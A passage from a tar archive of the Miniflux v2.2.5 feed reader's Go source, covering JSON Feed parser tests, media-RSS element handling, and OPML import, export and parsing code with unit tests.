"avatar": "https://example.org/avatar.png"
}
]
}
]
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if feed.Entries[0].Author != "Author A, Author B" {
t.Errorf("Incorrect entry author, got: %s", feed.Entries[0].Author)
}
}
func TestParseItemWithInvalidDate(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"title": "My Example Feed",
"home_page_url": "https://example.org/",
"feed_url": "https://example.org/feed.json",
"items": [
{
"id": "2347259",
"url": "https://example.org/2347259",
"content_text": "Cats are neat. \n\nhttps://example.org/cats",
"date_published": "Tomorrow"
}
]
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
duration := time.Since(feed.Entries[0].Date)
if duration.Seconds() > 1 {
t.Errorf("Incorrect entry date, got: %v", feed.Entries[0].Date)
}
}
func TestParseItemWithoutTitleButWithURL(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"title": "My Example Feed",
"home_page_url": "https://example.org/",
"feed_url": "https://example.org/feed.json",
"items": [
{
"url": "https://example.org/item"
}
]
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if feed.Entries[0].Title != "https://example.org/item" {
t.Errorf("Incorrect entry title, got: %s", feed.Entries[0].Title)
}
}
func TestParseItemWithoutTitleButWithSummary(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"title": "My Example Feed",
"home_page_url": "https://example.org/",
"feed_url": "https://example.org/feed.json",
"items": [
{
"summary": "This is some text content."
}
]
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if feed.Entries[0].Title != "This is some text content." {
t.Errorf("Incorrect entry title, got: %s", feed.Entries[0].Title)
}
}
func TestParseItemWithoutTitleButWithHTMLContent(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"title": "My Example Feed",
"home_page_url": "https://example.org/",
"feed_url": "https://example.org/feed.json",
"items": [
{
"content_html": "This is HTML."
}
]
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if feed.Entries[0].Title != "This is HTML." {
t.Errorf("Incorrect entry title, got: %s", feed.Entries[0].Title)
}
}
func TestParseItemWithoutTitleButWithTextContent(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"title": "My Example Feed",
"home_page_url": "https://example.org/",
"feed_url": "https://example.org/feed.json",
"items": [
{
"content_text": "` + strings.Repeat("a", 200) + `"
}
]
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if len(feed.Entries[0].Title) != 103 {
t.Errorf("Incorrect entry title, got: %d", len(feed.Entries[0].Title))
}
if len([]rune(feed.Entries[0].Title)) != 101 {
t.Errorf("Incorrect entry title, got: %s", feed.Entries[0].Title)
}
}
func TestParseItemWithTooLongUnicodeTitle(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"title": "My Example Feed",
"home_page_url": "https://example.org/",
"feed_url": "https://example.org/feed.json",
"items": [
{
"title": "I’m riding my electric bike and came across this castle. It’s called “Schloss Richmond”. 🚴♂️"
}
]
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if len(feed.Entries[0].Title) != 110 {
t.Errorf("Incorrect entry title, got: %s", feed.Entries[0].Title)
}
if len([]rune(feed.Entries[0].Title)) != 93 {
t.Errorf("Incorrect entry title, got: %s", feed.Entries[0].Title)
}
}
func TestParseItemTitleWithXMLTags(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"title": "My Example Feed",
"home_page_url": "https://example.org/",
"feed_url": "https://example.org/feed.json",
"items": [
{
"title": ""
}
]
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if feed.Entries[0].Title != "" {
t.Errorf("Incorrect entry title, got: %s", feed.Entries[0].Title)
}
}
func TestParseItemWithoutID(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"title": "My Example Feed",
"home_page_url": "https://example.org/",
"feed_url": "https://example.org/feed.json",
"items": [
{
"content_text": "Some text."
}
]
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if feed.Entries[0].Hash != "13b4c5aecd1b6d749afcee968fbf9c80f1ed1bbdbe1aaf25cb34ebd01144bbe9" {
t.Errorf("Incorrect entry hash, got: %s", feed.Entries[0].Hash)
}
}
func TestParseItemTags(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"user_comment": "This is a microblog feed. You can add this to your feed reader using the following URL: https://example.org/feed.json",
"title": "Brent Simmons’s Microblog",
"home_page_url": "https://example.org/",
"feed_url": "https://example.org/feed.json",
"author": {
"name": "Brent Simmons",
"url": "http://example.org/",
"avatar": "https://example.org/avatar.png"
},
"items": [
{
"id": "2347259",
"url": "https://example.org/2347259",
"content_text": "Cats are neat. \n\nhttps://example.org/cats",
"date_published": "2016-02-09T14:22:00-07:00",
"tags": [
" tag 1",
" ",
"tag 2"
]
}
]
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if len(feed.Entries[0].Tags) != 2 {
t.Errorf("Incorrect number of Tags, got: %d", len(feed.Entries[0].Tags))
}
expected := "tag 2"
result := feed.Entries[0].Tags[1]
if result != expected {
t.Errorf("Incorrect entry tag, got %q instead of %q", result, expected)
}
}
func TestParseFeedFavicon(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"title": "My Example Feed",
"favicon": "https://example.org/jsonfeed/favicon.png",
"home_page_url": "https://example.org/",
"feed_url": "https://example.org/feed.json",
"items": [
{
"id": "2",
"content_text": "This is a second item.",
"url": "https://example.org/second-item"
},
{
"id": "1",
"content_html": "
Hello, world!
",
"url": "https://example.org/initial-post"
}
]
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if feed.IconURL != "https://example.org/jsonfeed/favicon.png" {
t.Errorf("Incorrect icon URL, got: %s", feed.IconURL)
}
}
func TestParseFeedIcon(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"title": "My Example Feed",
"icon": "https://example.org/jsonfeed/icon.png",
"home_page_url": "https://example.org/",
"feed_url": "https://example.org/feed.json",
"items": [
{
"id": "2",
"content_text": "This is a second item.",
"url": "https://example.org/second-item"
},
{
"id": "1",
"content_html": "
Hello, world!
",
"url": "https://example.org/initial-post"
}
]
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if feed.IconURL != "https://example.org/jsonfeed/icon.png" {
t.Errorf("Incorrect icon URL, got: %s", feed.IconURL)
}
}
func TestParseFeedWithRelativeAttachmentURL(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"title": "My Example Feed",
"home_page_url": "https://example.org/",
"feed_url": "https://example.org/feed.json",
"items": [
{
"id": "2",
"content_text": "This is a second item.",
"url": "https://example.org/second-item",
"attachments": [
{
"url": " /attachment.mp3 ",
"mime_type": "audio/mpeg",
"size_in_bytes": 123456
}
]
}
]
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if len(feed.Entries[0].Enclosures) != 1 {
t.Fatalf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures))
}
if feed.Entries[0].Enclosures[0].URL != "https://example.org/attachment.mp3" {
t.Errorf("Incorrect enclosure URL, got: %q", feed.Entries[0].Enclosures[0].URL)
}
}
func TestParseInvalidJSON(t *testing.T) {
data := `garbage`
_, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err == nil {
t.Error("Parse should returns an error")
}
}
v2-2.2.5/internal/reader/media/ 0000775 0000000 0000000 00000000000 14743520056 0016212 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/reader/media/media.go 0000664 0000000 0000000 00000011743 14743520056 0017626 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package media // import "miniflux.app/v2/internal/reader/media"
import (
"regexp"
"strconv"
"strings"
)
var textLinkRegex = regexp.MustCompile(`(?mi)(\bhttps?:\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])`)
// Specs: https://www.rssboard.org/media-rss
type MediaItemElement struct {
MediaCategories MediaCategoryList `xml:"http://search.yahoo.com/mrss/ category"`
MediaGroups []Group `xml:"http://search.yahoo.com/mrss/ group"`
MediaContents []Content `xml:"http://search.yahoo.com/mrss/ content"`
MediaThumbnails []Thumbnail `xml:"http://search.yahoo.com/mrss/ thumbnail"`
MediaDescriptions DescriptionList `xml:"http://search.yahoo.com/mrss/ description"`
MediaPeerLinks []PeerLink `xml:"http://search.yahoo.com/mrss/ peerLink"`
}
// AllMediaThumbnails returns all thumbnail elements merged together.
func (e *MediaItemElement) AllMediaThumbnails() []Thumbnail {
var items []Thumbnail
items = append(items, e.MediaThumbnails...)
for _, mediaGroup := range e.MediaGroups {
items = append(items, mediaGroup.MediaThumbnails...)
}
return items
}
// AllMediaContents returns all content elements merged together.
func (e *MediaItemElement) AllMediaContents() []Content {
var items []Content
items = append(items, e.MediaContents...)
for _, mediaGroup := range e.MediaGroups {
items = append(items, mediaGroup.MediaContents...)
}
return items
}
// AllMediaPeerLinks returns all peer link elements merged together.
func (e *MediaItemElement) AllMediaPeerLinks() []PeerLink {
var items []PeerLink
items = append(items, e.MediaPeerLinks...)
for _, mediaGroup := range e.MediaGroups {
items = append(items, mediaGroup.MediaPeerLinks...)
}
return items
}
// FirstMediaDescription returns the first description element.
func (e *MediaItemElement) FirstMediaDescription() string {
description := e.MediaDescriptions.First()
if description != "" {
return description
}
for _, mediaGroup := range e.MediaGroups {
description = mediaGroup.MediaDescriptions.First()
if description != "" {
return description
}
}
return ""
}
// Group represents a XML element "media:group".
type Group struct {
MediaContents []Content `xml:"http://search.yahoo.com/mrss/ content"`
MediaThumbnails []Thumbnail `xml:"http://search.yahoo.com/mrss/ thumbnail"`
MediaDescriptions DescriptionList `xml:"http://search.yahoo.com/mrss/ description"`
MediaPeerLinks []PeerLink `xml:"http://search.yahoo.com/mrss/ peerLink"`
}
// Content represents a XML element "media:content".
type Content struct {
URL string `xml:"url,attr"`
Type string `xml:"type,attr"`
FileSize string `xml:"fileSize,attr"`
Medium string `xml:"medium,attr"`
}
// MimeType returns the attachment mime type.
func (mc *Content) MimeType() string {
if mc.Type != "" {
return mc.Type
}
switch mc.Medium {
case "image":
return "image/*"
case "video":
return "video/*"
case "audio":
return "audio/*"
default:
return "application/octet-stream"
}
}
// Size returns the attachment size.
func (mc *Content) Size() int64 {
size, _ := strconv.ParseInt(mc.FileSize, 10, 0)
return size
}
// Thumbnail represents a XML element "media:thumbnail".
type Thumbnail struct {
URL string `xml:"url,attr"`
}
// MimeType returns the attachment mime type.
func (t *Thumbnail) MimeType() string {
return "image/*"
}
// Size returns the attachment size.
func (t *Thumbnail) Size() int64 {
return 0
}
// PeerLink represents a XML element "media:peerLink".
type PeerLink struct {
URL string `xml:"href,attr"`
Type string `xml:"type,attr"`
}
// MimeType returns the attachment mime type.
func (p *PeerLink) MimeType() string {
if p.Type != "" {
return p.Type
}
return "application/octet-stream"
}
// Size returns the attachment size.
func (p *PeerLink) Size() int64 {
return 0
}
// Description represents a XML element "media:description".
type Description struct {
Type string `xml:"type,attr"`
Description string `xml:",chardata"`
}
// HTML returns the description as HTML.
func (d *Description) HTML() string {
if d.Type == "html" {
return d.Description
}
content := strings.ReplaceAll(d.Description, "\n", " ")
return textLinkRegex.ReplaceAllString(content, `${1}`)
}
// DescriptionList represents a list of "media:description" XML elements.
type DescriptionList []Description
// First returns the first non-empty description.
func (dl DescriptionList) First() string {
for _, description := range dl {
contents := description.HTML()
if contents != "" {
return contents
}
}
return ""
}
type MediaCategoryList []MediaCategory
func (mcl MediaCategoryList) Labels() []string {
var labels []string
for _, category := range mcl {
label := strings.TrimSpace(category.Label)
if label != "" {
labels = append(labels, label)
}
}
return labels
}
type MediaCategory struct {
Label string `xml:"label,attr"`
}
v2-2.2.5/internal/reader/media/media_test.go 0000664 0000000 0000000 00000005326 14743520056 0020665 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package media // import "miniflux.app/v2/internal/reader/media"
import "testing"
func TestContentMimeType(t *testing.T) {
scenarios := []struct {
inputType, inputMedium, expectedMimeType string
}{
{"image/png", "image", "image/png"},
{"", "image", "image/*"},
{"", "video", "video/*"},
{"", "audio", "audio/*"},
{"", "", "application/octet-stream"},
}
for _, scenario := range scenarios {
content := &Content{Type: scenario.inputType, Medium: scenario.inputMedium}
result := content.MimeType()
if result != scenario.expectedMimeType {
t.Errorf(`Unexpected mime type, got %q instead of %q for type=%q medium=%q`,
result,
scenario.expectedMimeType,
scenario.inputType,
scenario.inputMedium,
)
}
}
}
func TestContentSize(t *testing.T) {
scenarios := []struct {
inputSize string
expectedSize int64
}{
{"", 0},
{"123", int64(123)},
}
for _, scenario := range scenarios {
content := &Content{FileSize: scenario.inputSize}
result := content.Size()
if result != scenario.expectedSize {
t.Errorf(`Unexpected size, got %d instead of %d for %q`,
result,
scenario.expectedSize,
scenario.inputSize,
)
}
}
}
func TestPeerLinkType(t *testing.T) {
scenarios := []struct {
inputType string
expectedMimeType string
}{
{"", "application/octet-stream"},
{"application/x-bittorrent", "application/x-bittorrent"},
}
for _, scenario := range scenarios {
peerLink := &PeerLink{Type: scenario.inputType}
result := peerLink.MimeType()
if result != scenario.expectedMimeType {
t.Errorf(`Unexpected mime type, got %q instead of %q for %q`,
result,
scenario.expectedMimeType,
scenario.inputType,
)
}
}
}
func TestDescription(t *testing.T) {
scenarios := []struct {
inputType string
inputContent string
expectedDescription string
}{
{"", "", ""},
{"html", "a c", "a c"},
{"plain", "a\nhttp://www.example.org/", `a http://www.example.org/`},
}
for _, scenario := range scenarios {
desc := &Description{Type: scenario.inputType, Description: scenario.inputContent}
result := desc.HTML()
if result != scenario.expectedDescription {
t.Errorf(`Unexpected description, got %q instead of %q for %q`,
result,
scenario.expectedDescription,
scenario.inputType,
)
}
}
}
func TestFirstDescription(t *testing.T) {
var descList DescriptionList
descList = append(descList, Description{})
descList = append(descList, Description{Description: "Something"})
if descList.First() != "Something" {
t.Errorf(`Unexpected description`)
}
}
v2-2.2.5/internal/reader/opml/ 0000775 0000000 0000000 00000000000 14743520056 0016102 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/reader/opml/handler.go 0000664 0000000 0000000 00000004425 14743520056 0020053 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package opml // import "miniflux.app/v2/internal/reader/opml"
import (
"fmt"
"io"
"miniflux.app/v2/internal/model"
"miniflux.app/v2/internal/storage"
)
// Handler handles the logic for OPML import/export.
type Handler struct {
store *storage.Storage
}
// Export exports user feeds to OPML.
func (h *Handler) Export(userID int64) (string, error) {
feeds, err := h.store.Feeds(userID)
if err != nil {
return "", err
}
subscriptions := make(SubcriptionList, 0, len(feeds))
for _, feed := range feeds {
subscriptions = append(subscriptions, &Subcription{
Title: feed.Title,
FeedURL: feed.FeedURL,
SiteURL: feed.SiteURL,
Description: feed.Description,
CategoryName: feed.Category.Title,
})
}
return Serialize(subscriptions), nil
}
// Import parses and create feeds from an OPML import.
func (h *Handler) Import(userID int64, data io.Reader) error {
subscriptions, err := Parse(data)
if err != nil {
return err
}
for _, subscription := range subscriptions {
if !h.store.FeedURLExists(userID, subscription.FeedURL) {
var category *model.Category
var err error
if subscription.CategoryName == "" {
category, err = h.store.FirstCategory(userID)
if err != nil {
return fmt.Errorf("opml: unable to find first category: %w", err)
}
} else {
category, err = h.store.CategoryByTitle(userID, subscription.CategoryName)
if err != nil {
return fmt.Errorf("opml: unable to search category by title: %w", err)
}
if category == nil {
category, err = h.store.CreateCategory(userID, &model.CategoryRequest{Title: subscription.CategoryName})
if err != nil {
return fmt.Errorf(`opml: unable to create this category: %q`, subscription.CategoryName)
}
}
}
feed := &model.Feed{
UserID: userID,
Title: subscription.Title,
FeedURL: subscription.FeedURL,
SiteURL: subscription.SiteURL,
Description: subscription.Description,
Category: category,
}
h.store.CreateFeed(feed)
}
}
return nil
}
// NewHandler creates a new handler for OPML files.
func NewHandler(store *storage.Storage) *Handler {
return &Handler{store: store}
}
v2-2.2.5/internal/reader/opml/opml.go 0000664 0000000 0000000 00000004004 14743520056 0017376 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package opml // import "miniflux.app/v2/internal/reader/opml"
import (
"encoding/xml"
"strings"
)
// Specs: http://opml.org/spec2.opml
type opmlDocument struct {
XMLName xml.Name `xml:"opml"`
Version string `xml:"version,attr"`
Header opmlHeader `xml:"head"`
Outlines opmlOutlineCollection `xml:"body>outline"`
}
func NewOPMLDocument() *opmlDocument {
return &opmlDocument{}
}
type opmlHeader struct {
Title string `xml:"title,omitempty"`
DateCreated string `xml:"dateCreated,omitempty"`
OwnerName string `xml:"ownerName,omitempty"`
}
type opmlOutline struct {
Title string `xml:"title,attr,omitempty"`
Text string `xml:"text,attr"`
FeedURL string `xml:"xmlUrl,attr,omitempty"`
SiteURL string `xml:"htmlUrl,attr,omitempty"`
Description string `xml:"description,attr,omitempty"`
Outlines opmlOutlineCollection `xml:"outline,omitempty"`
}
func (outline opmlOutline) MarshalXML(e *xml.Encoder, start xml.StartElement) error {
type opmlOutlineXml opmlOutline
outlineType := ""
if outline.IsSubscription() {
outlineType = "rss"
}
return e.EncodeElement(struct {
opmlOutlineXml
Type string `xml:"type,attr,omitempty"`
}{
opmlOutlineXml: opmlOutlineXml(outline),
Type: outlineType,
}, start)
}
func (o *opmlOutline) IsSubscription() bool {
return strings.TrimSpace(o.FeedURL) != ""
}
func (o *opmlOutline) GetTitle() string {
if o.Title != "" {
return o.Title
}
if o.Text != "" {
return o.Text
}
if o.SiteURL != "" {
return o.SiteURL
}
if o.FeedURL != "" {
return o.FeedURL
}
return ""
}
func (o *opmlOutline) GetSiteURL() string {
if o.SiteURL != "" {
return o.SiteURL
}
return o.FeedURL
}
type opmlOutlineCollection []opmlOutline
func (o opmlOutlineCollection) HasChildren() bool {
return len(o) > 0
}
v2-2.2.5/internal/reader/opml/parser.go 0000664 0000000 0000000 00000002530 14743520056 0017725 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package opml // import "miniflux.app/v2/internal/reader/opml"
import (
"encoding/xml"
"fmt"
"io"
"miniflux.app/v2/internal/reader/encoding"
)
// Parse reads an OPML file and returns a SubcriptionList.
func Parse(data io.Reader) (SubcriptionList, error) {
opmlDocument := NewOPMLDocument()
decoder := xml.NewDecoder(data)
decoder.Entity = xml.HTMLEntity
decoder.Strict = false
decoder.CharsetReader = encoding.CharsetReader
err := decoder.Decode(opmlDocument)
if err != nil {
return nil, fmt.Errorf("opml: unable to parse document: %w", err)
}
return getSubscriptionsFromOutlines(opmlDocument.Outlines, ""), nil
}
func getSubscriptionsFromOutlines(outlines opmlOutlineCollection, category string) (subscriptions SubcriptionList) {
for _, outline := range outlines {
if outline.IsSubscription() {
subscriptions = append(subscriptions, &Subcription{
Title: outline.GetTitle(),
FeedURL: outline.FeedURL,
SiteURL: outline.GetSiteURL(),
Description: outline.Description,
CategoryName: category,
})
} else if outline.Outlines.HasChildren() {
subscriptions = append(subscriptions, getSubscriptionsFromOutlines(outline.Outlines, outline.GetTitle())...)
}
}
return subscriptions
}
v2-2.2.5/internal/reader/opml/parser_test.go 0000664 0000000 0000000 00000032106 14743520056 0020766 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package opml // import "miniflux.app/v2/internal/reader/opml"
import (
"bytes"
"testing"
)
func TestParseOpmlWithoutCategories(t *testing.T) {
data := `
mySubscriptions.opml
`
var expected SubcriptionList
expected = append(expected, &Subcription{Title: "CNET News.com", FeedURL: "http://news.com.com/2547-1_3-0-5.xml", SiteURL: "http://news.com.com/", Description: "Tech news and business reports by CNET News.com. Focused on information technology, core topics include computers, hardware, software, networking, and Internet media."})
subscriptions, err := Parse(bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if len(subscriptions) != 13 {
t.Fatalf("Wrong number of subscriptions: %d instead of %d", len(subscriptions), 13)
}
if !subscriptions[0].Equals(expected[0]) {
t.Errorf(`Subscription is different: "%v" vs "%v"`, subscriptions[0], expected[0])
}
}
func TestParseOpmlWithCategories(t *testing.T) {
data := `
mySubscriptions.opml
`
var expected SubcriptionList
expected = append(expected, &Subcription{Title: "Feed 1", FeedURL: "http://example.org/feed1/", SiteURL: "http://example.org/1", CategoryName: "My Category 1"})
expected = append(expected, &Subcription{Title: "Feed 2", FeedURL: "http://example.org/feed2/", SiteURL: "http://example.org/2", CategoryName: "My Category 1"})
expected = append(expected, &Subcription{Title: "Feed 3", FeedURL: "http://example.org/feed3/", SiteURL: "http://example.org/3", CategoryName: "My Category 2"})
subscriptions, err := Parse(bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if len(subscriptions) != 3 {
t.Fatalf("Wrong number of subscriptions: %d instead of %d", len(subscriptions), 3)
}
for i := range len(subscriptions) {
if !subscriptions[i].Equals(expected[i]) {
t.Errorf(`Subscription is different: "%v" vs "%v"`, subscriptions[i], expected[i])
}
}
}
func TestParseOpmlWithEmptyTitleAndEmptySiteURL(t *testing.T) {
data := `
mySubscriptions.opml
`
var expected SubcriptionList
expected = append(expected, &Subcription{Title: "http://example.org/1", FeedURL: "http://example.org/feed1/", SiteURL: "http://example.org/1", CategoryName: ""})
expected = append(expected, &Subcription{Title: "http://example.org/feed2/", FeedURL: "http://example.org/feed2/", SiteURL: "http://example.org/feed2/", CategoryName: ""})
subscriptions, err := Parse(bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if len(subscriptions) != 2 {
t.Fatalf("Wrong number of subscriptions: %d instead of %d", len(subscriptions), 2)
}
for i := range len(subscriptions) {
if !subscriptions[i].Equals(expected[i]) {
t.Errorf(`Subscription is different: "%v" vs "%v"`, subscriptions[i], expected[i])
}
}
}
func TestParseOpmlVersion1(t *testing.T) {
data := `
mySubscriptions.opmlWed, 13 Mar 2019 11:51:41 GMT
`
var expected SubcriptionList
expected = append(expected, &Subcription{Title: "Feed 1", FeedURL: "http://example.org/feed1/", SiteURL: "http://example.org/1", CategoryName: "Category 1"})
expected = append(expected, &Subcription{Title: "Feed 2", FeedURL: "http://example.org/feed2/", SiteURL: "http://example.org/2", CategoryName: "Category 2"})
subscriptions, err := Parse(bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if len(subscriptions) != 2 {
t.Fatalf("Wrong number of subscriptions: %d instead of %d", len(subscriptions), 2)
}
for i := range len(subscriptions) {
if !subscriptions[i].Equals(expected[i]) {
t.Errorf(`Subscription is different: "%v" vs "%v"`, subscriptions[i], expected[i])
}
}
}
func TestParseOpmlVersion1WithoutOuterOutline(t *testing.T) {
data := `
mySubscriptions.opmlWed, 13 Mar 2019 11:51:41 GMT
`
var expected SubcriptionList
expected = append(expected, &Subcription{Title: "Feed 1", FeedURL: "http://example.org/feed1/", SiteURL: "http://example.org/1", CategoryName: ""})
expected = append(expected, &Subcription{Title: "Feed 2", FeedURL: "http://example.org/feed2/", SiteURL: "http://example.org/2", CategoryName: ""})
subscriptions, err := Parse(bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if len(subscriptions) != 2 {
t.Fatalf("Wrong number of subscriptions: %d instead of %d", len(subscriptions), 2)
}
for i := range len(subscriptions) {
if !subscriptions[i].Equals(expected[i]) {
t.Errorf(`Subscription is different: "%v" vs "%v"`, subscriptions[i], expected[i])
}
}
}
func TestParseOpmlVersion1WithSeveralNestedOutlines(t *testing.T) {
data := `
RSSOwl Subscriptions星期二, 26 四月 2022 00:12:04 CST
`
var expected SubcriptionList
expected = append(expected, &Subcription{Title: "Feed 1", FeedURL: "http://example.org/feed1/", SiteURL: "http://example.org/1", CategoryName: "Some Category"})
expected = append(expected, &Subcription{Title: "Feed 2", FeedURL: "http://example.org/feed2/", SiteURL: "http://example.org/2", CategoryName: "Some Category"})
expected = append(expected, &Subcription{Title: "Feed 3", FeedURL: "http://example.org/feed3/", SiteURL: "http://example.org/3", CategoryName: "Another Category"})
subscriptions, err := Parse(bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if len(subscriptions) != 3 {
t.Fatalf("Wrong number of subscriptions: %d instead of %d", len(subscriptions), 3)
}
for i := range len(subscriptions) {
if !subscriptions[i].Equals(expected[i]) {
t.Errorf(`Subscription is different: "%v" vs "%v"`, subscriptions[i], expected[i])
}
}
}
func TestParseOpmlWithInvalidCharacterEntity(t *testing.T) {
data := `
mySubscriptions.opml
`
var expected SubcriptionList
expected = append(expected, &Subcription{Title: "Feed 1", FeedURL: "http://example.org/feed1/a&b", SiteURL: "http://example.org/c&d", CategoryName: "Feed 1"})
subscriptions, err := Parse(bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if len(subscriptions) != 1 {
t.Fatalf("Wrong number of subscriptions: %d instead of %d", len(subscriptions), 1)
}
for i := range len(subscriptions) {
if !subscriptions[i].Equals(expected[i]) {
t.Errorf(`Subscription is different: "%v" vs "%v"`, subscriptions[i], expected[i])
}
}
}
func TestParseInvalidXML(t *testing.T) {
data := `garbage`
_, err := Parse(bytes.NewBufferString(data))
if err == nil {
t.Error("Parse should generate an error")
}
}
v2-2.2.5/internal/reader/opml/serializer.go 0000664 0000000 0000000 00000004065 14743520056 0020607 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package opml // import "miniflux.app/v2/internal/reader/opml"
import (
"bufio"
"bytes"
"encoding/xml"
"log/slog"
"sort"
"time"
)
// Serialize returns a SubcriptionList in OPML format.
func Serialize(subscriptions SubcriptionList) string {
var b bytes.Buffer
writer := bufio.NewWriter(&b)
writer.WriteString(xml.Header)
opmlDocument := convertSubscriptionsToOPML(subscriptions)
encoder := xml.NewEncoder(writer)
encoder.Indent("", " ")
if err := encoder.Encode(opmlDocument); err != nil {
slog.Error("Unable to serialize OPML document",
slog.Any("error", err),
)
return ""
}
return b.String()
}
func convertSubscriptionsToOPML(subscriptions SubcriptionList) *opmlDocument {
opmlDocument := NewOPMLDocument()
opmlDocument.Version = "2.0"
opmlDocument.Header.Title = "Miniflux"
opmlDocument.Header.DateCreated = time.Now().Format("Mon, 02 Jan 2006 15:04:05 MST")
groupedSubs := groupSubscriptionsByFeed(subscriptions)
categories := make([]string, 0, len(groupedSubs))
for k := range groupedSubs {
categories = append(categories, k)
}
sort.Strings(categories)
for _, categoryName := range categories {
category := opmlOutline{Text: categoryName, Outlines: make(opmlOutlineCollection, 0, len(groupedSubs[categoryName]))}
for _, subscription := range groupedSubs[categoryName] {
category.Outlines = append(category.Outlines, opmlOutline{
Title: subscription.Title,
Text: subscription.Title,
FeedURL: subscription.FeedURL,
SiteURL: subscription.SiteURL,
Description: subscription.Description,
})
}
opmlDocument.Outlines = append(opmlDocument.Outlines, category)
}
return opmlDocument
}
func groupSubscriptionsByFeed(subscriptions SubcriptionList) map[string]SubcriptionList {
groups := make(map[string]SubcriptionList)
for _, subscription := range subscriptions {
groups[subscription.CategoryName] = append(groups[subscription.CategoryName], subscription)
}
return groups
}
v2-2.2.5/internal/reader/opml/serializer_test.go 0000664 0000000 0000000 00000004505 14743520056 0021645 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package opml // import "miniflux.app/v2/internal/reader/opml"
import (
"bytes"
"testing"
)
func TestSerialize(t *testing.T) {
var subscriptions SubcriptionList
subscriptions = append(subscriptions, &Subcription{Title: "Feed 1", FeedURL: "http://example.org/feed/1", SiteURL: "http://example.org/1", CategoryName: "Category 1"})
subscriptions = append(subscriptions, &Subcription{Title: "Feed 2", FeedURL: "http://example.org/feed/2", SiteURL: "http://example.org/2", CategoryName: "Category 1"})
